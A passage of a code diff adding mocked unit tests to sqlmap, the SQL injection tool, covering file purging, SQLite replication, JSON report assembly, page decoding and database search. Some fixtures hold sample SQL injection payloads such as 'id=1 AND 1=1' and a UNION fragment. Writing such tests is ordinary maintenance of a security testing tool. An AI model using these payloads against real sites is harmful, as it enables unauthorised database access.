dir is never touched. +""" + +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.purge as purge_mod +from lib.utils.purge import purge + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as purge.logger.""" + + def __init__(self): + self.records = [] + + def _add(self, level): + return lambda msg, *a: self.records.append((level, msg % a if a else msg)) + + def __getattr__(self, name): + if name in ("warning", "info", "debug", "error", "critical"): + return self._add(name) + raise AttributeError(name) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestPurge(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="sqlmap_purge_") + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + + def test_overwrites_and_truncates_file_contents(self): + # a couple of files + a nested subdir with a (non-empty) file + plaintexts = { + os.path.join(self.tmp, "a.txt"): "secret data", + os.path.join(self.tmp, "sub", "b.txt"): "more secret data", + } + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "a.txt")]) + with open(os.path.join(self.tmp, "empty.bin"), "w") as f: + pass + os.mkdir(os.path.join(self.tmp, "sub")) + with open(os.path.join(self.tmp, "sub", "b.txt"), "w") as f: + f.write(plaintexts[os.path.join(self.tmp, "sub", "b.txt")]) + + # neutralise the final rmtree so the overwrite/truncate work product remains + # observable on disk; the files are renamed, so locate them by walking the tree. + real_rmtree = purge_mod.shutil.rmtree + purge_mod.shutil.rmtree = lambda *a, **k: None + try: + purge(self.tmp) + finally: + purge_mod.shutil.rmtree = real_rmtree + + # collect every surviving regular file (names are randomised by purge) + survivors = [] + for root, _dirs, files in os.walk(self.tmp): + for name in files: + survivors.append(os.path.join(root, name)) + + # the originally non-empty files still exist (rmtree was a no-op) but the + # multi-pass overwrite + truncation reduced each to size 0 and the original + # plaintext is gone. + nonempty = [p for p in survivors if os.path.getsize(p) > 0] + self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) + + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() + for secret in plaintexts.values(): + self.assertNotIn(secret.encode("utf-8"), blob, + msg="original plaintext %r survived the purge" % secret) + + def test_purges_nested_content(self): + # full purge (including rmtree) wipes the whole tree + with open(os.path.join(self.tmp, "a.txt"), "w") as f: + f.write("secret data") + sub = os.path.join(self.tmp, "sub") + os.mkdir(sub) + with open(os.path.join(sub, "b.txt"), "w") as f: + f.write("more secret data") + + purge(self.tmp) + + self.assertFalse(os.path.exists(self.tmp)) + + def test_nonexistent_directory_is_noop(self): + missing = os.path.join(self.tmp, "does_not_exist") + + real_logger = purge_mod.logger + rec = _RecordingLogger() + purge_mod.logger = rec + try: + # must not raise; the guard branch logs a skip warning and returns + purge(missing) + finally: + purge_mod.logger = real_logger + + self.assertFalse(os.path.exists(missing)) + self.assertTrue( + any("skipping purging" in w and "does not exist" in w for w in rec.messages("warning")), + msg="nonexistent-directory guard did not log its warning: %r" % rec.records, + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_replication.py b/tests/test_replication.py new file mode 100644 index 00000000000..7e5d8a0c594 --- /dev/null +++ b/tests/test_replication.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +SQLite replication writer (lib/core/replication.py). + +This is what backs `--dump ... --dump-format SQLITE` / replication: it mirrors +dumped tables into a local SQLite file. Tested end-to-end against a real temp +database (create table, typed columns, insert, select, persistence) and read +back independently with the stdlib sqlite3 driver. +""" + +import os +import sqlite3 +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.replication import Replication +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapValueException + + +class _ReplCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) + self.rep = Replication(self.path) + + def tearDown(self): + try: + del self.rep + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + def _readback(self, sql): + conn = sqlite3.connect(self.path) + try: + return conn.execute(sql).fetchall() + finally: + conn.close() + + +class TestCreateInsertSelect(_ReplCase): + def test_roundtrip(self): + t = self.rep.createTable("users", [("id", self.rep.INTEGER), ("name", self.rep.TEXT)]) + t.insert([1, "admin"]) + t.insert([2, "guest"]) + self.assertEqual(t.select(), [(1, "admin"), (2, "guest")]) + + def test_persisted_to_disk(self): + t = self.rep.createTable("t", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([10, "x"]) + # autocommit (isolation_level=None) => visible to an independent connection + self.assertEqual(self._readback("SELECT id, v FROM t"), [(10, "x")]) + + def test_real_and_blob_types(self): + t = self.rep.createTable("mix", [("r", self.rep.REAL), ("b", self.rep.BLOB)]) + t.insert([3.5, b"\x00\x01"]) + self.assertEqual(self._readback("SELECT r FROM mix")[0][0], 3.5) # REAL preserved exactly + # BLOB containing a NUL byte must survive intact (a naive str path would truncate at \x00). + # It comes back as a 2-element value (text on py3); assert the NUL didn't truncate it. + blob = self._readback("SELECT b FROM mix")[0][0] + self.assertEqual(len(blob), 2, msg="blob truncated/altered: %r" % (blob,)) + + def test_null_and_empty_values(self): + t = self.rep.createTable("n", [("id", self.rep.INTEGER), ("v", self.rep.TEXT)]) + t.insert([None, ""]) + self.assertEqual(self._readback("SELECT id, v FROM n"), [(None, "")]) + + def test_create_replaces_existing(self): + t1 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + t1.insert([1]) + # createTable drops-if-exists, so the table is fresh + t2 = self.rep.createTable("dup", [("id", self.rep.INTEGER)]) + self.assertEqual(t2.select(), []) + + +class TestInsertColumnMismatch(_ReplCase): + def test_wrong_column_count_raises(self): + t = self.rep.createTable("c", [("a", self.rep.INTEGER), ("b", self.rep.TEXT)]) + # too few / too many values must be rejected (not silently mis-inserted) + self.assertRaises(SqlmapValueException, t.insert, [1]) + self.assertRaises(SqlmapValueException, t.insert, [1, "x", "extra"]) + # the matching count still works + t.insert([1, "x"]) + self.assertEqual(t.select(), [(1, "x")]) + + +class TestInitFailure(unittest.TestCase): + """A failed open (e.g. unwritable path) must raise cleanly and the partially + constructed object must be safe to finalize (no AttributeError in __del__).""" + + def _bad_path(self): + # a database file inside a directory that does not exist => connect fails + return os.path.join(tempfile.gettempdir(), "sqlmap_no_such_dir_%d" % os.getpid(), "x.sqlite") + + def test_bad_path_raises(self): + self.assertRaises(SqlmapConnectionException, Replication, self._bad_path()) + + def test_del_safe_after_failed_init(self): + obj = Replication.__new__(Replication) + self.assertRaises(SqlmapConnectionException, obj.__init__, self._bad_path()) + # connection/cursor must be initialized even when connect() fails ... + self.assertIsNone(obj.connection) + self.assertIsNone(obj.cursor) + # ... so finalization is a no-op rather than raising + obj.__del__() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_report.py b/tests/test_report.py new file mode 100644 index 00000000000..d5dade14161 --- /dev/null +++ b/tests/test_report.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSON scan report collector/assembler (lib/utils/api.py), shared by the REST API +endpoint /scan//data and the CLI --report-json writer. + +The whole point of the feature is that both produce the SAME structure, so these +tests pin the shared contract: the per-content_type merge (partial -> complete), +the assembled {success, data:[{status,type,type_name,value}], error} shape, the +partRun fallback for untyped output, and the meta-wrapped file written to disk. +A regression here is a divergence between the API and the report - the exact bug +this design exists to prevent. +""" + +import io +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf, kb +from lib.core.enums import CONTENT_TYPE, CONTENT_STATUS + + +class _CollectorCase(unittest.TestCase): + def setUp(self): + self.c = api.setupReportCollector() + self._saved_partRun = kb.get("partRun") + + def tearDown(self): + kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) + try: + self.c.disconnect() + except Exception: + pass + + def _store(self, value, content_type, status=CONTENT_STATUS.COMPLETE): + api._storeData(self.c, api.REPORT_TASKID, value, status, content_type) + + +class TestAssembledShape(_CollectorCase): + def test_structure_and_typename(self): + self._store("MySQL >= 5.0.12", CONTENT_TYPE.DBMS_FINGERPRINT) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["success"], True) + self.assertEqual(result["error"], []) + self.assertEqual(len(result["data"]), 1) + entry = result["data"][0] + self.assertEqual(sorted(entry.keys()), ["status", "type", "type_name", "value"]) + self.assertEqual(entry["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(entry["type_name"], "DBMS_FINGERPRINT") # int -> readable name + self.assertEqual(entry["value"], "MySQL >= 5.0.12") + + def test_structured_values_preserved(self): + # dict / list / bool must survive as native JSON types (not stringified) - this is what + # makes the report machine-consumable, exactly like the API + self._store({"url": "http://h/?id=1", "data": None}, CONTENT_TYPE.TARGET) + self._store(["a", "b", "c"], CONTENT_TYPE.DBS) + self._store(True, CONTENT_TYPE.IS_DBA) + by_type = {d["type"]: d["value"] for d in api._assembleData(self.c, api.REPORT_TASKID)["data"]} + self.assertEqual(by_type[CONTENT_TYPE.TARGET], {"url": "http://h/?id=1", "data": None}) + self.assertEqual(by_type[CONTENT_TYPE.DBS], ["a", "b", "c"]) + self.assertIs(by_type[CONTENT_TYPE.IS_DBA], True) + + +class TestMergeSemantics(_CollectorCase): + def test_complete_replaces_partials(self): + # the API appends IN_PROGRESS chunks then a COMPLETE replaces them; final value is COMPLETE + self._store("roo", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.IN_PROGRESS) + self._store("t@localhost", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.COMPLETE) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) # one row, not two + self.assertEqual(data[0]["value"], "t@localhost") + self.assertEqual(data[0]["status"], CONTENT_STATUS.COMPLETE) + + def test_inprogress_chunks_accumulate(self): + self._store("foo", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + self._store("bar", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(data[0]["value"], "foobar") # appended + + +class TestPartRunFallback(_CollectorCase): + def test_untyped_output_tagged_via_partrun(self): + # untyped output during a part-run (e.g. the fingerprint line) is tagged by kb.partRun - + # this is how DBMS_FINGERPRINT is captured with no explicit content_type + kb.partRun = "getFingerprint" + self._store("back-end DBMS: MySQL >= 5.1", None) # content_type=None + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) + self.assertEqual(data[0]["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(data[0]["value"], "back-end DBMS: MySQL >= 5.1") + + def test_untyped_output_without_partrun_is_ignored(self): + kb.partRun = None + self._store("just a log line", None) + self.assertEqual(api._assembleData(self.c, api.REPORT_TASKID)["data"], []) + + +class TestSanitize(unittest.TestCase): + """The shared assembler strips internal plumbing (matchRatio/trueCode/falseCode/templatePayload/ + where/conf) from TECHNIQUES and restructures DUMP_TABLE (drop __infos__ wrapper + per-column + 'length'), so neither the API nor the report leaks consumer-irrelevant internals. Deterministic + (no run variance), unlike the live API-vs-report comparison.""" + + def test_techniques_internals_stripped_and_named(self): + injection = { + "place": "GET", "parameter": "id", "ptype": 1, "dbms": "MySQL", + "conf": {"string": "x", "regexp": None}, # internal -> must be dropped + "data": {"1": {"title": "boolean", "payload": "id=1 AND 1=1", "vector": "AND [INFERENCE]", + "comment": "", "where": 1, "matchRatio": 0.74, "trueCode": 200, + "falseCode": 200, "templatePayload": None}, + "6": {"title": "union", "payload": "id=1 UNION ...", "vector": "...", "comment": ""}}, + } + injection["ptype"] = 1 + injection["clause"] = [1, 8, 9] + injection["prefix"] = "" + injection["suffix"] = "" + original = json.loads(json.dumps(injection)) # deep copy to prove no mutation + out = api._sanitizeScanData(CONTENT_TYPE.TECHNIQUES, [injection])[0] + # detection/construction internals dropped + for field in ("conf", "ptype", "clause", "prefix", "suffix"): + self.assertNotIn(field, out) + # data is now an ordered LIST (not a map keyed by opaque ids), each entry named + self.assertIsInstance(out["data"], list) + self.assertEqual([t["technique"] for t in out["data"]], ["boolean-based blind", "UNION query"]) + first = out["data"][0] + self.assertEqual(sorted(first.keys()), ["comment", "payload", "technique", "title", "vector"]) + self.assertEqual(first["payload"], "id=1 AND 1=1") # consumer-relevant fields preserved + self.assertEqual(out["dbms"], "MySQL") + # input not mutated (operates on a copy - must not corrupt live kb.injections) + self.assertEqual(injection, original) + + def test_dump_table_restructured_and_unquoted(self): + value = { + "__infos__": {"db": "`master`", "table": "users", "count": 3}, + "id": {"length": 2, "values": ["1", "2", "3"]}, + "`name`": {"length": 9, "values": ["alice", " ", ""]}, # backtick id; " " is a DB NULL, "" is empty + } + out = api._sanitizeScanData(CONTENT_TYPE.DUMP_TABLE, value) + self.assertEqual(sorted(out.keys()), ["columns", "count", "db", "table"]) + self.assertNotIn("__infos__", out) + self.assertEqual(out["db"], "master") # quoting stripped (context-free) + self.assertEqual(out["table"], "users") + self.assertEqual(out["count"], 3) + # columns flattened to value lists (no 'length'), identifiers unquoted + self.assertEqual(out["columns"]["id"], ["1", "2", "3"]) + self.assertNotIn("`name`", out["columns"]) + # DB NULL (" ") -> JSON null; genuine empty string ("") preserved + self.assertEqual(out["columns"]["name"], ["alice", None, ""]) + + def test_schema_listing_identifiers_cleaned(self): + # TABLES/COLUMNS/SCHEMA/COUNT must have their identifiers unquoted too (consistency with + # DUMP_TABLE) - a regression here is the exact "X cleaned but Y not" inconsistency to avoid + tables = api._sanitizeScanData(CONTENT_TYPE.TABLES, {"`master`": ["users", "`order`"]}) + self.assertEqual(tables, {"master": ["users", "order"]}) + columns = api._sanitizeScanData(CONTENT_TYPE.COLUMNS, + {"`master`": {"users": {"id": "int", "`name`": "varchar(500)"}}}) + self.assertEqual(columns, {"master": {"users": {"id": "int", "name": "varchar(500)"}}}) + schema = api._sanitizeScanData(CONTENT_TYPE.SCHEMA, {"sys": {"w": {"`events`": "varchar(128)"}}}) + self.assertEqual(schema, {"sys": {"w": {"events": "varchar(128)"}}}) + count = api._sanitizeScanData(CONTENT_TYPE.COUNT, {"`master`": {"5": ["users"]}}) + self.assertEqual(count, {"master": {"5": ["users"]}}) + + def test_identifier_unquoting_is_context_free(self): + # all DBMS quote styles handled without Backend context (so CLI and API server agree) + self.assertEqual(api._cleanIdentifier("`tbl`"), "tbl") # MySQL + self.assertEqual(api._cleanIdentifier('"tbl"'), "tbl") # PostgreSQL/Oracle + self.assertEqual(api._cleanIdentifier("[tbl]"), "tbl") # MSSQL + self.assertEqual(api._cleanIdentifier("plain"), "plain") + + def test_other_types_pass_through(self): + # non-TECHNIQUES/DUMP_TABLE values are returned unchanged + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.CURRENT_USER, "root@%"), "root@%") + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.DBS, ["a", "b"]), ["a", "b"]) + self.assertIs(api._sanitizeScanData(CONTENT_TYPE.IS_DBA, True), True) + + +class TestErrors(_CollectorCase): + def test_errors_captured(self): + self.c.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (api.REPORT_TASKID, "something failed")) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["error"], ["something failed"]) + + +class TestWriteReportJson(_CollectorCase): + def test_file_is_valid_json_with_meta(self): + self._store("admin", CONTENT_TYPE.CURRENT_USER) + saved_url = conf.get("url") + conf.url = "http://target/?id=1" + fd, path = tempfile.mkstemp(suffix=".json") + os.close(fd) + try: + api.writeReportJson(self.c, path) + with io.open(path, encoding="utf-8") as f: # explicit UTF-8 + closed handle (no ResourceWarning, no cp1252 on Windows) + loaded = json.load(f) + # core shape == API /scan//data, plus a meta wrapper + self.assertEqual(sorted(loaded.keys()), ["data", "error", "meta", "success"]) + self.assertEqual(loaded["data"][0]["value"], "admin") + self.assertEqual(loaded["data"][0]["type_name"], "CURRENT_USER") + self.assertEqual(loaded["meta"]["url"], "http://target/?id=1") + self.assertEqual(loaded["meta"]["api_version"], 2) # MAJOR-only integer, for compatibility checks + self.assertIn("sqlmap_version", loaded["meta"]) + self.assertIn("timestamp", loaded["meta"]) + finally: + conf.url = saved_url + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_request_basic.py b/tests/test_request_basic.py new file mode 100644 index 00000000000..29dc53c2a56 --- /dev/null +++ b/tests/test_request_basic.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for PURE functions in lib/request/basic.py. + +These exercise getHeuristicCharEncoding (with its kb.cache.encoding memoization) +and decodePage's charset + HTML-entity decoding branches, in isolation - WITHOUT +touching the network, the DBMS or any interactive prompt. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf, kb + + +class TestBasicHeuristicCharEncoding(unittest.TestCase): + def test_ascii(self): + from lib.request.basic import getHeuristicCharEncoding + self.assertEqual(getHeuristicCharEncoding(b""), "ascii") + + def test_cache_hit_returns_same(self): + from lib.request.basic import getHeuristicCharEncoding + page = b"hello world" + first = getHeuristicCharEncoding(page) + # second call for identical page must come back identical (and from cache) + self.assertEqual(getHeuristicCharEncoding(page), first) + key = (len(page), hash(page)) + self.assertEqual(kb.cache.encoding.get(key), first) + + +class TestBasicDecodePage(unittest.TestCase): + """decodePage charset + HTML-entity decoding branches.""" + + def setUp(self): + self._old_encoding = conf.encoding + self._old_null = conf.nullConnection + conf.nullConnection = False + + def tearDown(self): + conf.encoding = self._old_encoding + conf.nullConnection = self._old_null + + def test_html_entity_amp(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual( + getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")), + "foo&bar", + ) + + def test_numeric_hex_entity_tab(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b" ", None, "text/html; charset=utf-8")), "\t") + + def test_numeric_hex_entity_letter(self): + from lib.request.basic import decodePage + from lib.core.common import getText + conf.encoding = None + self.assertEqual(getText(decodePage(b"J", None, "text/html; charset=utf-8")), "J") + + def test_unicode_entity(self): + from lib.request.basic import decodePage + conf.encoding = None + self.assertEqual(decodePage(b"™", None, "text/html; charset=utf-8"), u"\u2122") + + def test_empty_page(self): + from lib.request.basic import decodePage + from lib.core.common import getText + # empty page short-circuits to getUnicode(page) + self.assertEqual(getText(decodePage(b"", None, "text/html")), "") + + +class TestForgeHeadersCookieMerge(unittest.TestCase): + """A domain-scoped jar cookie (Domain=example.com -> '.example.com') must merge into the + request for the apex host, not be dropped by a naive endswith() domain check.""" + + _CONF = ("cj", "hostname", "httpHeaders", "loadCookies", "cookieDel", "parameters", "csrfToken", "safeUrl") + _KB = ("mergeCookies", "testMode", "injection") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._CONF) + self._k = dict((k, kb.get(k)) for k in self._KB) + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def _jar_with_domain_cookie(self): + try: + from http.cookiejar import CookieJar, Cookie + except ImportError: + from cookielib import CookieJar, Cookie + # a domain-scoped cookie the jar stores as '.example.com' (domain_specified=True), + # exactly as it would after Set-Cookie: sid=NEW; Domain=example.com + cookie = Cookie(version=0, name="sid", value="NEW", port=None, port_specified=False, + domain=".example.com", domain_specified=True, domain_initial_dot=True, + path="/", path_specified=True, secure=False, expires=None, discard=True, + comment=None, comment_url=None, rest={}) + cj = CookieJar() + cj.set_cookie(cookie) + return cj + + def test_domain_cookie_merged_on_apex_host(self): + from lib.request.basic import forgeHeaders + from lib.core.enums import PLACE, HTTP_HEADER + from lib.core.datatype import AttribDict + + conf.cj = self._jar_with_domain_cookie() + conf.hostname = "example.com" # apex host == cookie domain + conf.httpHeaders = [(HTTP_HEADER.COOKIE, "sid=OLD")] + conf.loadCookies = False + conf.cookieDel = None + conf.parameters = {} + conf.csrfToken = conf.safeUrl = None + kb.mergeCookies = True + kb.testMode = False + kb.injection = AttribDict() + kb.injection.place = PLACE.GET + + headers = forgeHeaders() + # before the fix the domain cookie was skipped for the apex host, leaving 'sid=OLD' + self.assertEqual(headers.get(HTTP_HEADER.COOKIE), "sid=NEW") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_safe2bin.py b/tests/test_safe2bin.py new file mode 100644 index 00000000000..609ccc41b9a --- /dev/null +++ b/tests/test_safe2bin.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +safecharencode / safechardecode (lib/utils/safe2bin.py). + +These make extracted DB values safe to print/store by escaping control and +non-printable characters (tab -> \\t, NUL -> \\x00, ...) and back. They are +applied to dumped data and to values written through the replication writer, +so the escape<->unescape round-trip must be exact. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.safe2bin import safecharencode, safechardecode + +RND = random.Random(99) + + +class TestKnownEscapes(unittest.TestCase): + CASES = [ + (u"normal", u"normal"), + (u"tab\there", u"tab\\there"), + (u"new\nline", u"new\\nline"), + (u"nul\x00byte", u"nul\\x00byte"), + ] + + def test_encode(self): + for raw, encoded in self.CASES: + self.assertEqual(safecharencode(raw), encoded, msg="safecharencode(%r)" % raw) + + def test_plain_text_unchanged(self): + for s in (u"plain", u"abc 123", u"semi;colon", u"a,b,c"): + self.assertEqual(safecharencode(s), s, msg="plain text altered: %r" % s) + + +class TestRoundTrip(unittest.TestCase): + def test_known_roundtrip(self): + for raw, _ in TestKnownEscapes.CASES: + self.assertEqual(safechardecode(safecharencode(raw)), raw, msg="round-trip %r" % raw) + + def test_property_roundtrip(self): + # mix printable + control/non-printable code points + pool = u"abc 123" + u"".join(chr(c) for c in (0, 1, 7, 9, 10, 13, 27, 127)) + for _ in range(2000): + s = u"".join(RND.choice(pool) for _ in range(RND.randint(0, 24))) + self.assertEqual(safechardecode(safecharencode(s)), s, msg="round-trip failed for %r" % s) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py new file mode 100644 index 00000000000..66b3b850a5c --- /dev/null +++ b/tests/test_search_enum.py @@ -0,0 +1,554 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/search.py (Search), exercising searchDb / +searchTable / searchColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches (TestSearch), or conf.direct=False with a BOOLEAN injection state selects +the inference branches (TestSearchInference); inject.getValue is patched to return +canned rows in the exact shape the methods parse, and conf.dumper is replaced with +a recording stub so we can assert on what each method produced. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD +import plugins.generic.search as smod +import plugins.generic.entries as emod +from plugins.generic.search import Search + + +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + +class _RecordingDumper(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestSearch(Search): + """Search with the cross-mixin collaborators it relies on stubbed out. + + The real Search lives in a multiple-inheritance hierarchy; in isolation we + must supply likeOrExact/forceDbmsEnum/getCurrentDb/getColumns/dumpFoundTables/ + excludeDbsList, mirroring the inputs the production mixins would provide. + """ + + excludeDbsList = ["information_schema", "mysql"] + + def __init__(self): + Search.__init__(self) + self.like = ('1', " LIKE '%%%s%%'") + self.dumpFoundTablesCalls = [] + self.dumpFoundColumnCalls = [] + self.getColumnsCalls = [] + self._cannedColumns = {} + + def likeOrExact(self, what): + return self.like + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def dumpFoundTables(self, tables): + self.dumpFoundTablesCalls.append(tables) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + self.dumpFoundColumnCalls.append((dbs, foundCols, colConsider)) + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + # Emulate column discovery by populating kb.data.cachedColumns for the + # currently-targeted conf.db/conf.tbl/conf.col, as the real plugin does. + self.getColumnsCalls.append((conf.db, conf.tbl, conf.col)) + db, tbl, col = conf.db, conf.tbl, conf.col + if db and tbl: + kb.data.cachedColumns.setdefault(db, {}).setdefault(tbl, {}) + kb.data.cachedColumns[db][tbl][col] = "varchar" + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumper() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestSearch(_SearchEnumBase): + # --- searchDb ----------------------------------------------------------- + + def test_search_db_found(self): + s = _TestSearch() + conf.db = "testdb" + # Feed identifiers that REQUIRE normalization: "select" is a reserved + # keyword and "weird db" contains a space; both force MySQL backtick + # quoting via safeSQLIdentificatorNaming. The plain "testdb" passes + # through unchanged. Asserting the quoted output proves the transform ran + # (a mock-echo would surface the raw, unquoted inputs instead). + smod.inject.getValue = lambda *a, **k: ["select", "weird db", "testdb"] + + s.searchDb() + + self.assertEqual(conf.dumper.listed[-1][0], "found databases") + self.assertEqual(conf.dumper.listed[-1][1], ["`select`", "`weird db`", "testdb"]) + + def test_search_db_multiple_terms(self): + s = _TestSearch() + conf.db = "foo,bar" + + # Return a DISTINCT value per search term by keying off the query string: + # each term is folded into the generated query (search_db inband query), + # so "foo" vs "bar" produce different queries. This proves the method + # actually iterates over both terms and records the right match for each, + # rather than appending the same constant twice. + def gv(query, *a, **k): + if "foo" in query: + return "foo_db" + elif "bar" in query: + return "bar_db" + return None + + smod.inject.getValue = gv + s.searchDb() + # Two search terms => one distinct value found per term, in order. + self.assertEqual(conf.dumper.listed[-1][1], ["foo_db", "bar_db"]) + + def test_search_db_none_value(self): + s = _TestSearch() + conf.db = "nope" + smod.inject.getValue = lambda *a, **k: None + 